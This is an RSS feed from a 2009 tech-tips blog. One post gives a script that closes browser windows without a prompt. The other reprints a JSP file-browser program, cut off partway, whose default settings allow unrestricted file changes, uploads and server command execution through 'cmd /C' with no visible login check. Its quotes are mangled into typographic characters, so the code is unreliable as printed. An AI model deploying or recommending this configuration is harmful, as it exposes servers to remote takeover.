<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; JSP</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/jsp/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to close a window without prompt?</title>
		<link>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/</link>
		<comments>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 08:19:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[]]></category>
		<category><![CDATA[closing a jsp]]></category>
		<category><![CDATA[closing a servlet window]]></category>
		<category><![CDATA[How to close a window without prompt?]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Java script]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[window.close()]]></category>
		<category><![CDATA[window.opener = top;]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=288</guid>
		<description><![CDATA[How to close a window without prompt?
For servlet:
        out.println (&#8221;&#60;script&#62;&#8221;);
        out.println (&#8221;window.opener = top;&#8221;);
        out.println (&#8221;window.close()&#8221;);
        out.println (&#8221;&#60;/script&#62;&#8221;);
For html or jsp:
         &#60;script&#62;
        window.opener = top;
        window.close();
        &#60;/script&#62;
]]></description>
			<content:encoded><![CDATA[<p>How to close a window without prompt?</p>
<p>For servlet:</p>
<p>        out.println (&#8221;&lt;script&gt;&#8221;);<br />
        out.println (&#8221;window.opener = top;&#8221;);<br />
        out.println (&#8221;window.close()&#8221;);<br />
        out.println (&#8221;&lt;/script&gt;&#8221;);</p>
<p>For html or jsp:</p>
<p>         &lt;script&gt;<br />
        window.opener = top;<br />
        window.close();<br />
        &lt;/script&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/11/10/how-to-close-a-window-without-prompt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Browsing through Desktop files.</title>
		<link>http://www.dailyinfobyte.com/2009/07/01/browsing-through-desktop-files/</link>
		<comments>http://www.dailyinfobyte.com/2009/07/01/browsing-through-desktop-files/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 12:36:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[browser.jsp]]></category>
		<category><![CDATA[Browsing through Desktop files]]></category>
		<category><![CDATA[browsing through folders]]></category>
		<category><![CDATA[create files nad directories.]]></category>
		<category><![CDATA[creating files]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[delete]]></category>
		<category><![CDATA[deleting files]]></category>
		<category><![CDATA[directories]]></category>
		<category><![CDATA[JSP]]></category>
		<category><![CDATA[moving files]]></category>
		<category><![CDATA[rename]]></category>
		<category><![CDATA[renaming files]]></category>
		<category><![CDATA[Tomcat server]]></category>
		<category><![CDATA[Tomcat server 4]]></category>
		<category><![CDATA[Tomcat server 5]]></category>
		<category><![CDATA[Tomcat server 6]]></category>
		<category><![CDATA[we can move]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=203</guid>
		<description><![CDATA[Following is the program for browsing through PC files and folders.
Using this program, we can move,delete,rename,create files nad directories.
The following program can be run using Tomcat server 4,5,6 versions.
Browser.jsp:  
&#60;%&#8211;
jsp File browser 1.2
Copyright (C) 2003-2006 Boris von Loesch
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General [...]]]></description>
			<content:encoded><![CDATA[<p>Following is the program for browsing through PC files and folders.<br />
Using this program, we can move,delete,rename,create files nad directories.</p>
<p>The following program can be run using Tomcat server 4,5,6 versions.</p>
<p><strong><span style="text-decoration: underline;">Browser.jsp:<span> </span></span></strong> </p>
<p><strong></strong>&lt;%&#8211;<br />
jsp File browser 1.2<br />
Copyright (C) 2003-2006 Boris von Loesch<br />
This program is free software; you can redistribute it and/or modify it under<br />
the terms of the GNU General Public License as published by the<br />
Free Software Foundation; either version 2 of the License, or (at your option)<br />
any later version.<br />
This program is distributed in the hope that it will be useful, but<br />
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or<br />
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.<br />
You should have received a copy of the GNU General Public License along with<br />
this program; if not, write to the<br />
Free Software Foundation, Inc.,<br />
59 Temple Place, Suite 330,<br />
Boston, MA 02111-1307 USA<br />
- Description: jsp File browser v1.2 &#8212; This JSP program allows remote web-based<br />
file access and manipulation. You can copy, create, move and delete files.<br />
Text files can be edited and groups of files and folders can be downloaded<br />
as a single zip file that&#8217;s created on the fly.<br />
- Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts<br />
&#8211;%&gt;<br />
&lt;%@page import=&#8221;java.util.*,<br />
java.net.*,<br />
java.text.*,<br />
java.util.zip.*,<br />
java.io.*&#8221;<br />
%&gt;<br />
&lt;%!<br />
//FEATURES<br />
private static final boolean NATIVE_COMMANDS = true;<br />
/**<br />
*If true, all operations (besides upload and native commands)<br />
*which change something on the file system are permitted<br />
*/<br />
private static final boolean READ_ONLY = false;<br />
//If true, uploads are allowed even if READ_ONLY = true<br />
private static final boolean ALLOW_UPLOAD = true;</p>
<p>//Allow browsing and file manipulation only in certain directories<br />
private static final boolean RESTRICT_BROWSING = false;<br />
//If true, the user is allowed to browse only in RESTRICT_PATH,<br />
//if false, the user is allowed to browse all directories besides RESTRICT_PATH<br />
private static final boolean RESTRICT_WHITELIST = false;<br />
//Paths, sperated by semicolon<br />
//private static final String RESTRICT_PATH = &#8220;C:\\CODE;E:\\&#8221;; //Win32: Case important!!<br />
private static final String RESTRICT_PATH = &#8220;/etc;/var&#8221;;</p>
<p>//The refresh time in seconds of the upload monitor window<br />
private static final int UPLOAD_MONITOR_REFRESH = 2;<br />
//The number of colums for the edit field<br />
private static final int EDITFIELD_COLS = 85;<br />
//The number of rows for the edit field<br />
private static final int EDITFIELD_ROWS = 30;<br />
//Open a new window to view a file<br />
private static final boolean USE_POPUP = true;<br />
/**<br />
* If USE_DIR_PREVIEW = true, then for every directory a tooltip will be<br />
* created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.<br />
* This can yield to performance issues. Turn it off, if the directory loads to slow.<br />
*/<br />
private static final boolean USE_DIR_PREVIEW = false;<br />
private static final int DIR_PREVIEW_NUMBER = 10;<br />
/**<br />
* The name of an optional CSS Stylesheet file<br />
*/<br />
private static final String CSS_NAME = &#8220;Browser.css&#8221;;<br />
/**<br />
* The compression level for zip file creation (0-9)<br />
* 0 = No compression<br />
* 1 = Standard compression (Very fast)<br />
* &#8230;<br />
* 9 = Best compression (Very slow)<br />
*/<br />
private static final int COMPRESSION_LEVEL = 1;<br />
/**<br />
* The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the<br />
* server runs on a windows platform, to avoid a message box, if you try to access<br />
* an empty removable drive (See KNOWN BUGS in Readme.txt).<br />
*/<br />
private static final String[] FORBIDDEN_DRIVES = {&#8221;a:\\&#8221;};</p>
<p>/**<br />
* Command of the shell interpreter and the parameter to run a programm<br />
*/<br />
private static final String[] COMMAND_INTERPRETER = {&#8221;cmd&#8221;, &#8220;/C&#8221;}; // Dos,Windows<br />
//private static final String[] COMMAND_INTERPRETER = {&#8221;/bin/sh&#8221;,&#8221;-c&#8221;}; // Unix</p>
<p>/**<br />
* Max time in ms a process is allowed to run, before it will be terminated<br />
*/<br />
private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds</p>
<p>//Button names<br />
private static final String SAVE_AS_ZIP = &#8220;Download selected files as (z)ip&#8221;;<br />
private static final String RENAME_FILE = &#8220;(R)ename File&#8221;;<br />
private static final String DELETE_FILES = &#8220;(Del)ete selected files&#8221;;<br />
private static final String CREATE_DIR = &#8220;Create (D)ir&#8221;;<br />
private static final String CREATE_FILE = &#8220;(C)reate File&#8221;;<br />
private static final String MOVE_FILES = &#8220;(M)ove Files&#8221;;<br />
private static final String COPY_FILES = &#8220;Cop(y) Files&#8221;;<br />
private static final String LAUNCH_COMMAND = &#8220;(L)aunch external program&#8221;;<br />
private static final String UPLOAD_FILES = &#8220;Upload&#8221;;</p>
<p>//Normally you should not change anything after this line<br />
//&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
//Change this to locate the tempfile directory for upload (not longer needed)<br />
private static String tempdir = &#8220;.&#8221;;<br />
private static String VERSION_NR = &#8220;1.2&#8243;;<br />
private static DateFormat dateFormat = DateFormat.getDateTimeInstance();</p>
<p>public class UplInfo {</p>
<p>public long totalSize;<br />
public long currSize;<br />
public long starttime;<br />
public boolean aborted;</p>
<p>public UplInfo() {<br />
totalSize = 0l;<br />
currSize = 0l;<br />
starttime = System.currentTimeMillis();<br />
aborted = false;<br />
}</p>
<p>public UplInfo(int size) {<br />
totalSize = size;<br />
currSize = 0;<br />
starttime = System.currentTimeMillis();<br />
aborted = false;<br />
}</p>
<p>public String getUprate() {<br />
long time = System.currentTimeMillis() &#8211; starttime;<br />
if (time != 0) {<br />
long uprate = currSize * 1000 / time;<br />
return convertFileSize(uprate) + &#8220;/s&#8221;;<br />
}<br />
else return &#8220;n/a&#8221;;<br />
}</p>
<p>public int getPercent() {<br />
if (totalSize == 0) return 0;<br />
else return (int) (currSize * 100 / totalSize);<br />
}</p>
<p>public String getTimeElapsed() {<br />
long time = (System.currentTimeMillis() &#8211; starttime) / 1000l;<br />
if (time &#8211; 60l &gt;= 0){<br />
if (time % 60 &gt;=10) return time / 60 + &#8220;:&#8221; + (time % 60) + &#8220;m&#8221;;<br />
else return time / 60 + &#8220;:0&#8243; + (time % 60) + &#8220;m&#8221;;<br />
}<br />
else return time&lt;10 ? &#8220;0&#8243; + time + &#8220;s&#8221;: time + &#8220;s&#8221;;<br />
}</p>
<p>public String getTimeEstimated() {<br />
if (currSize == 0) return &#8220;n/a&#8221;;<br />
long time = System.currentTimeMillis() &#8211; starttime;<br />
time = totalSize * time / currSize;<br />
time /= 1000l;<br />
if (time &#8211; 60l &gt;= 0){<br />
if (time % 60 &gt;=10) return time / 60 + &#8220;:&#8221; + (time % 60) + &#8220;m&#8221;;<br />
else return time / 60 + &#8220;:0&#8243; + (time % 60) + &#8220;m&#8221;;<br />
}<br />
else return time&lt;10 ? &#8220;0&#8243; + time + &#8220;s&#8221;: time + &#8220;s&#8221;;<br />
}</p>
<p>}</p>
<p>public class FileInfo {</p>
<p>public String name = null, clientFileName = null, fileContentType = null;<br />
private byte[] fileContents = null;<br />
public File file = null;<br />
public StringBuffer sb = new StringBuffer(100);</p>
<p>public void setFileContents(byte[] aByteArray) {<br />
fileContents = new byte[aByteArray.length];<br />
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);<br />
}<br />
}</p>
<p>public static class UploadMonitor {</p>
<p>static Hashtable uploadTable = new Hashtable();</p>
<p>static void set(String fName, UplInfo info) {<br />
uploadTable.put(fName, info);<br />
}</p>
<p>static void remove(String fName) {<br />
uploadTable.remove(fName);<br />
}</p>
<p>static UplInfo getInfo(String fName) {<br />
UplInfo info = (UplInfo) uploadTable.get(fName);<br />
return info;<br />
}<br />
}</p>
<p>// A Class with methods used to process a ServletInputStream<br />
public class HttpMultiPartParser {</p>
<p>//private final String lineSeparator = System.getProperty(&#8221;line.separator&#8221;, &#8220;\n&#8221;);<br />
private final int ONE_MB = 1024 * 1;</p>
<p>public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,<br />
int clength) throws IllegalArgumentException, IOException {<br />
if (is == null) throw new IllegalArgumentException(&#8221;InputStream&#8221;);<br />
if (boundary == null || boundary.trim().length() &lt; 1) throw new IllegalArgumentException(<br />
&#8220;\&#8221;" + boundary + &#8220;\&#8221; is an illegal boundary indicator&#8221;);<br />
boundary = &#8220;&#8211;&#8221; + boundary;<br />
StringTokenizer stLine = null, stFields = null;<br />
FileInfo fileInfo = null;<br />
Hashtable dataTable = new Hashtable(5);<br />
String line = null, field = null, paramName = null;<br />
boolean saveFiles = (saveInDir != null &amp;&amp; saveInDir.trim().length() &gt; 0);<br />
boolean isFile = false;<br />
if (saveFiles) { // Create the required directory (including parent dirs)<br />
File f = new File(saveInDir);<br />
f.mkdirs();<br />
}<br />
line = getLine(is);<br />
if (line == null || !line.startsWith(boundary)) throw new IOException(<br />
&#8220;Boundary not found; boundary = &#8221; + boundary + &#8220;, line = &#8221; + line);<br />
while (line != null) {<br />
if (line == null || !line.startsWith(boundary)) return dataTable;<br />
line = getLine(is);<br />
if (line == null) return dataTable;<br />
stLine = new StringTokenizer(line, &#8220;;\r\n&#8221;);<br />
if (stLine.countTokens() &lt; 2) throw new IllegalArgumentException(<br />
&#8220;Bad data in second line&#8221;);<br />
line = stLine.nextToken().toLowerCase();<br />
if (line.indexOf(&#8221;form-data&#8221;) &lt; 0) throw new IllegalArgumentException(<br />
&#8220;Bad data in second line&#8221;);<br />
stFields = new StringTokenizer(stLine.nextToken(), &#8220;=\&#8221;");<br />
if (stFields.countTokens() &lt; 2) throw new IllegalArgumentException(<br />
&#8220;Bad data in second line&#8221;);<br />
fileInfo = new FileInfo();<br />
stFields.nextToken();<br />
paramName = stFields.nextToken();<br />
isFile = false;<br />
if (stLine.hasMoreTokens()) {<br />
field = stLine.nextToken();<br />
stFields = new StringTokenizer(field, &#8220;=\&#8221;");<br />
if (stFields.countTokens() &gt; 1) {<br />
if (stFields.nextToken().trim().equalsIgnoreCase(&#8221;filename&#8221;)) {<br />
fileInfo.name = paramName;<br />
String value = stFields.nextToken();<br />
if (value != null &amp;&amp; value.trim().length() &gt; 0) {<br />
fileInfo.clientFileName = value;<br />
isFile = true;<br />
}<br />
else {<br />
line = getLine(is); // Skip &#8220;Content-Type:&#8221; line<br />
line = getLine(is); // Skip blank line<br />
line = getLine(is); // Skip blank line<br />
line = getLine(is); // Position to boundary line<br />
continue;<br />
}<br />
}<br />
}<br />
else if (field.toLowerCase().indexOf(&#8221;filename&#8221;) &gt;= 0) {<br />
line = getLine(is); // Skip &#8220;Content-Type:&#8221; line<br />
line = getLine(is); // Skip blank line<br />
line = getLine(is); // Skip blank line<br />
line = getLine(is); // Position to boundary line<br />
continue;<br />
}<br />
}<br />
boolean skipBlankLine = true;<br />
if (isFile) {<br />
line = getLine(is);<br />
if (line == null) return dataTable;<br />
if (line.trim().length() &lt; 1) skipBlankLine = false;<br />
else {<br />
stLine = new StringTokenizer(line, &#8220;: &#8220;);<br />
if (stLine.countTokens() &lt; 2) throw new IllegalArgumentException(<br />
&#8220;Bad data in third line&#8221;);<br />
stLine.nextToken(); // Content-Type<br />
fileInfo.fileContentType = stLine.nextToken();<br />
}<br />
}<br />
if (skipBlankLine) {<br />
line = getLine(is);<br />
if (line == null) return dataTable;<br />
}<br />
if (!isFile) {<br />
line = getLine(is);<br />
if (line == null) return dataTable;<br />
dataTable.put(paramName, line);<br />
// If parameter is dir, change saveInDir to dir<br />
if (paramName.equals(&#8221;dir&#8221;)) saveInDir = line;<br />
line = getLine(is);<br />
continue;<br />
}<br />
try {<br />
UplInfo uplInfo = new UplInfo(clength);<br />
UploadMonitor.set(fileInfo.clientFileName, uplInfo);<br />
OutputStream os = null;<br />
String path = null;<br />
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,<br />
fileInfo.clientFileName));<br />
else os = new ByteArrayOutputStream(ONE_MB);<br />
boolean readingContent = true;<br />
byte previousLine[] = new byte[2 * ONE_MB];<br />
byte temp[] = null;<br />
byte currentLine[] = new byte[2 * ONE_MB];<br />
int read, read3;<br />
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {<br />
line = null;<br />
break;<br />
}<br />
while (readingContent) {<br />
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {<br />
line = null;<br />
uplInfo.aborted = true;<br />
break;<br />
}<br />
if (compareBoundary(boundary, currentLine)) {<br />
os.write(previousLine, 0, read &#8211; 2);<br />
line = new String(currentLine, 0, read3);<br />
break;<br />
}<br />
else {<br />
os.write(previousLine, 0, read);<br />
uplInfo.currSize += read;<br />
temp = currentLine;<br />
currentLine = previousLine;<br />
previousLine = temp;<br />
read = read3;<br />
}//end else<br />
}//end while<br />
os.flush();<br />
os.close();<br />
if (!saveFiles) {<br />
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;<br />
fileInfo.setFileContents(baos.toByteArray());<br />
}<br />
else fileInfo.file = new File(path);<br />
dataTable.put(paramName, fileInfo);<br />
uplInfo.currSize = uplInfo.totalSize;<br />
}//end try<br />
catch (IOException e) {<br />
throw e;<br />
}<br />
}<br />
return dataTable;<br />
}</p>
<p>/**<br />
* Compares boundary string to byte array<br />
*/<br />
private boolean compareBoundary(String boundary, byte ba[]) {<br />
if (boundary == null || ba == null) return false;<br />
for (int i = 0; i &lt; boundary.length(); i++)<br />
if ((byte) boundary.charAt(i) != ba[i]) return false;<br />
return true;<br />
}</p>
<p>/** Convenience method to read HTTP header lines */<br />
private synchronized String getLine(ServletInputStream sis) throws IOException {<br />
byte b[] = new byte[1024];<br />
int read = sis.readLine(b, 0, b.length), index;<br />
String line = null;<br />
if (read != -1) {<br />
line = new String(b, 0, read);<br />
if ((index = line.indexOf(&#8217;\n&#8217;)) &gt;= 0) line = line.substring(0, index &#8211; 1);<br />
}<br />
return line;<br />
}</p>
<p>public String getFileName(String dir, String fileName) throws IllegalArgumentException {<br />
String path = null;<br />
if (dir == null || fileName == null) throw new IllegalArgumentException(<br />
&#8220;dir or fileName is null&#8221;);<br />
int index = fileName.lastIndexOf(&#8217;/');<br />
String name = null;<br />
if (index &gt;= 0) name = fileName.substring(index + 1);<br />
else name = fileName;<br />
index = name.lastIndexOf(&#8217;\\&#8217;);<br />
if (index &gt;= 0) fileName = name.substring(index + 1);<br />
path = dir + File.separator + fileName;<br />
if (File.separatorChar == &#8216;/&#8217;) return path.replace(&#8217;\\&#8217;, File.separatorChar);<br />
else return path.replace(&#8217;/', File.separatorChar);<br />
}<br />
} //End of class HttpMultiPartParser</p>
<p>/**<br />
* This class is a comparator to sort the filenames and dirs<br />
*/<br />
class FileComp implements Comparator {</p>
<p>int mode;<br />
int sign;</p>
<p>FileComp() {<br />
this.mode = 1;<br />
this.sign = 1;<br />
}</p>
<p>/**<br />
* @param mode sort by 1=Filename, 2=Size, 3=Date, 4=Type<br />
* The default sorting method is by Name<br />
* Negative mode means descending sort<br />
*/<br />
FileComp(int mode) {<br />
if (mode &lt; 0) {<br />
this.mode = -mode;<br />
sign = -1;<br />
}<br />
else {<br />
this.mode = mode;<br />
this.sign = 1;<br />
}<br />
}</p>
<p>public int compare(Object o1, Object o2) {<br />
File f1 = (File) o1;<br />
File f2 = (File) o2;<br />
if (f1.isDirectory()) {<br />
if (f2.isDirectory()) {<br />
switch (mode) {<br />
//Filename or Type<br />
case 1:<br />
case 4:<br />
return sign<br />
* f1.getAbsolutePath().toUpperCase().compareTo(<br />
f2.getAbsolutePath().toUpperCase());<br />
//Filesize<br />
case 2:<br />
return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));<br />
//Date<br />
case 3:<br />
return sign<br />
* (new Long(f1.lastModified())<br />
.compareTo(new Long(f2.lastModified())));<br />
default:<br />
return 1;<br />
}<br />
}<br />
else return -1;<br />
}<br />
else if (f2.isDirectory()) return 1;<br />
else {<br />
switch (mode) {<br />
case 1:<br />
return sign<br />
* f1.getAbsolutePath().toUpperCase().compareTo(<br />
f2.getAbsolutePath().toUpperCase());<br />
case 2:<br />
return sign * (new Long(f1.length()).compareTo(new Long(f2.length())));<br />
case 3:<br />
return sign<br />
* (new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())));<br />
case 4: { // Sort by extension<br />
int tempIndexf1 = f1.getAbsolutePath().lastIndexOf(&#8217;.');<br />
int tempIndexf2 = f2.getAbsolutePath().lastIndexOf(&#8217;.');<br />
if ((tempIndexf1 == -1) &amp;&amp; (tempIndexf2 == -1)) { // Neither have an extension<br />
return sign<br />
* f1.getAbsolutePath().toUpperCase().compareTo(<br />
f2.getAbsolutePath().toUpperCase());<br />
}<br />
// f1 has no extension<br />
else if (tempIndexf1 == -1) return -sign;<br />
// f2 has no extension<br />
else if (tempIndexf2 == -1) return sign;<br />
// Both have an extension<br />
else {<br />
String tempEndf1 = f1.getAbsolutePath().toUpperCase()<br />
.substring(tempIndexf1);<br />
String tempEndf2 = f2.getAbsolutePath().toUpperCase()<br />
.substring(tempIndexf2);<br />
return sign * tempEndf1.compareTo(tempEndf2);<br />
}<br />
}<br />
default:<br />
return 1;<br />
}<br />
}<br />
}<br />
}</p>
<p>/**<br />
* Wrapperclass to wrap an OutputStream around a Writer<br />
*/<br />
class Writer2Stream extends OutputStream {</p>
<p>Writer out;</p>
<p>Writer2Stream(Writer w) {<br />
super();<br />
out = w;<br />
}</p>
<p>public void write(int i) throws IOException {<br />
out.write(i);<br />
}</p>
<p>public void write(byte[] b) throws IOException {<br />
for (int i = 0; i &lt; b.length; i++) {<br />
int n = b[i];<br />
//Convert byte to ubyte<br />
n = ((n &gt;&gt;&gt; 4) &amp; 0xF) * 16 + (n &amp; 0xF);<br />
out.write(n);<br />
}<br />
}</p>
<p>public void write(byte[] b, int off, int len) throws IOException {<br />
for (int i = off; i &lt; off + len; i++) {<br />
int n = b[i];<br />
n = ((n &gt;&gt;&gt; 4) &amp; 0xF) * 16 + (n &amp; 0xF);<br />
out.write(n);<br />
}<br />
}<br />
} //End of class Writer2Stream</p>
<p>static Vector expandFileList(String[] files, boolean inclDirs) {<br />
Vector v = new Vector();<br />
if (files == null) return v;<br />
for (int i = 0; i &lt; files.length; i++)<br />
v.add(new File(URLDecoder.decode(files[i])));<br />
for (int i = 0; i &lt; v.size(); i++) {<br />
File f = (File) v.get(i);<br />
if (f.isDirectory()) {<br />
File[] fs = f.listFiles();<br />
for (int n = 0; n &lt; fs.length; n++)<br />
v.add(fs[n]);<br />
if (!inclDirs) {<br />
v.remove(i);<br />
i&#8211;;<br />
}<br />
}<br />
}<br />
return v;<br />
}</p>
<p>/**<br />
* Method to build an absolute path<br />
* @param dir the root dir<br />
* @param name the name of the new directory<br />
* @return if name is an absolute directory, returns name, else returns dir+name<br />
*/<br />
static String getDir(String dir, String name) {<br />
if (!dir.endsWith(File.separator)) dir = dir + File.separator;<br />
File mv = new File(name);<br />
String new_dir = null;<br />
if (!mv.isAbsolute()) {<br />
new_dir = dir + name;<br />
}<br />
else new_dir = name;<br />
return new_dir;<br />
}</p>
<p>/**<br />
* This Method converts a byte size in a kbytes or Mbytes size, depending on the size<br />
* @param size The size in bytes<br />
* @return String with size and unit<br />
*/<br />
static String convertFileSize(long size) {<br />
int divisor = 1;<br />
String unit = &#8220;bytes&#8221;;<br />
if (size &gt;= 1024 * 1024) {<br />
divisor = 1024 * 1024;<br />
unit = &#8220;MB&#8221;;<br />
}<br />
else if (size &gt;= 1024) {<br />
divisor = 1024;<br />
unit = &#8220;KB&#8221;;<br />
}<br />
if (divisor == 1) return size / divisor + &#8221; &#8221; + unit;<br />
String aftercomma = &#8220;&#8221; + 100 * (size % divisor) / divisor;<br />
if (aftercomma.length() == 1) aftercomma = &#8220;0&#8243; + aftercomma;<br />
return size / divisor + &#8220;.&#8221; + aftercomma + &#8221; &#8221; + unit;<br />
}</p>
<p>/**<br />
* Copies all data from in to out<br />
* @param in the input stream<br />
* @param out the output stream<br />
* @param buffer copy buffer<br />
*/<br />
static void copyStreams(InputStream in, OutputStream out, byte[] buffer) throws IOException {<br />
copyStreamsWithoutClose(in, out, buffer);<br />
in.close();<br />
out.close();<br />
}</p>
<p>/**<br />
* Copies all data from in to out<br />
* @param in the input stream<br />
* @param out the output stream<br />
* @param buffer copy buffer<br />
*/<br />
static void copyStreamsWithoutClose(InputStream in, OutputStream out, byte[] buffer)<br />
throws IOException {<br />
int b;<br />
while ((b = in.read(buffer)) != -1)<br />
out.write(buffer, 0, b);<br />
}</p>
<p>/**<br />
* Returns the Mime Type of the file, depending on the extension of the filename<br />
*/<br />
static String getMimeType(String fName) {<br />
fName = fName.toLowerCase();<br />
if (fName.endsWith(&#8221;.jpg&#8221;) || fName.endsWith(&#8221;.jpeg&#8221;) || fName.endsWith(&#8221;.jpe&#8221;)) return &#8220;image/jpeg&#8221;;<br />
else if (fName.endsWith(&#8221;.gif&#8221;)) return &#8220;image/gif&#8221;;<br />
else if (fName.endsWith(&#8221;.pdf&#8221;)) return &#8220;application/pdf&#8221;;<br />
else if (fName.endsWith(&#8221;.htm&#8221;) || fName.endsWith(&#8221;.html&#8221;) || fName.endsWith(&#8221;.shtml&#8221;)) return &#8220;text/html&#8221;;<br />
else if (fName.endsWith(&#8221;.avi&#8221;)) return &#8220;video/x-msvideo&#8221;;<br />
else if (fName.endsWith(&#8221;.mov&#8221;) || fName.endsWith(&#8221;.qt&#8221;)) return &#8220;video/quicktime&#8221;;<br />
else if (fName.endsWith(&#8221;.mpg&#8221;) || fName.endsWith(&#8221;.mpeg&#8221;) || fName.endsWith(&#8221;.mpe&#8221;)) return &#8220;video/mpeg&#8221;;<br />
else if (fName.endsWith(&#8221;.zip&#8221;)) return &#8220;application/zip&#8221;;<br />
else if (fName.endsWith(&#8221;.tiff&#8221;) || fName.endsWith(&#8221;.tif&#8221;)) return &#8220;image/tiff&#8221;;<br />
else if (fName.endsWith(&#8221;.rtf&#8221;)) return &#8220;application/rtf&#8221;;<br />
else if (fName.endsWith(&#8221;.mid&#8221;) || fName.endsWith(&#8221;.midi&#8221;)) return &#8220;audio/x-midi&#8221;;<br />
else if (fName.endsWith(&#8221;.xl&#8221;) || fName.endsWith(&#8221;.xls&#8221;) || fName.endsWith(&#8221;.xlv&#8221;)<br />
|| fName.endsWith(&#8221;.xla&#8221;) || fName.endsWith(&#8221;.xlb&#8221;) || fName.endsWith(&#8221;.xlt&#8221;)<br />
|| fName.endsWith(&#8221;.xlm&#8221;) || fName.endsWith(&#8221;.xlk&#8221;)) return &#8220;application/excel&#8221;;<br />
else if (fName.endsWith(&#8221;.doc&#8221;) || fName.endsWith(&#8221;.dot&#8221;)) return &#8220;application/msword&#8221;;<br />
else if (fName.endsWith(&#8221;.png&#8221;)) return &#8220;image/png&#8221;;<br />
else if (fName.endsWith(&#8221;.xml&#8221;)) return &#8220;text/xml&#8221;;<br />
else if (fName.endsWith(&#8221;.svg&#8221;)) return &#8220;image/svg+xml&#8221;;<br />
else if (fName.endsWith(&#8221;.mp3&#8243;)) return &#8220;audio/mp3&#8243;;<br />
else if (fName.endsWith(&#8221;.ogg&#8221;)) return &#8220;audio/ogg&#8221;;<br />
else return &#8220;text/plain&#8221;;<br />
}</p>
<p>/**<br />
* Converts some important chars (int) to the corresponding html string<br />
*/<br />
static String conv2Html(int i) {<br />
if (i == &#8216;&amp;&#8217;) return &#8220;&amp;amp;&#8221;;<br />
else if (i == &#8216;&lt;&#8217;) return &#8220;&amp;lt;&#8221;;<br />
else if (i == &#8216;&gt;&#8217;) return &#8220;&amp;gt;&#8221;;<br />
else if (i == &#8216;&#8221;&#8216;) return &#8220;&amp;quot;&#8221;;<br />
else return &#8220;&#8221; + (char) i;<br />
}</p>
<p>/**<br />
* Converts a normal string to a html conform string<br />
*/<br />
static String conv2Html(String st) {<br />
StringBuffer buf = new StringBuffer();<br />
for (int i = 0; i &lt; st.length(); i++) {<br />
buf.append(conv2Html(st.charAt(i)));<br />
}<br />
return buf.toString();<br />
}</p>
<p>/**<br />
* Starts a native process on the server<br />
* @param command the command to start the process<br />
* @param dir the dir in which the process starts<br />
*/<br />
static String startProcess(String command, String dir) throws IOException {<br />
StringBuffer ret = new StringBuffer();<br />
String[] comm = new String[3];<br />
comm[0] = COMMAND_INTERPRETER[0];<br />
comm[1] = COMMAND_INTERPRETER[1];<br />
comm[2] = command;<br />
long start = System.currentTimeMillis();<br />
try {<br />
//Start process<br />
Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));<br />
//Get input and error streams<br />
BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream());<br />
BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream());<br />
boolean end = false;<br />
while (!end) {<br />
int c = 0;<br />
while ((ls_err.available() &gt; 0) &amp;&amp; (++c &lt;= 1000)) {<br />
ret.append(conv2Html(ls_err.read()));<br />
}<br />
c = 0;<br />
while ((ls_in.available() &gt; 0) &amp;&amp; (++c &lt;= 1000)) {<br />
ret.append(conv2Html(ls_in.read()));<br />
}<br />
try {<br />
ls_proc.exitValue();<br />
//if the process has not finished, an exception is thrown<br />
//else<br />
while (ls_err.available() &gt; 0)<br />
ret.append(conv2Html(ls_err.read()));<br />
while (ls_in.available() &gt; 0)<br />
ret.append(conv2Html(ls_in.read()));<br />
end = true;<br />
}<br />
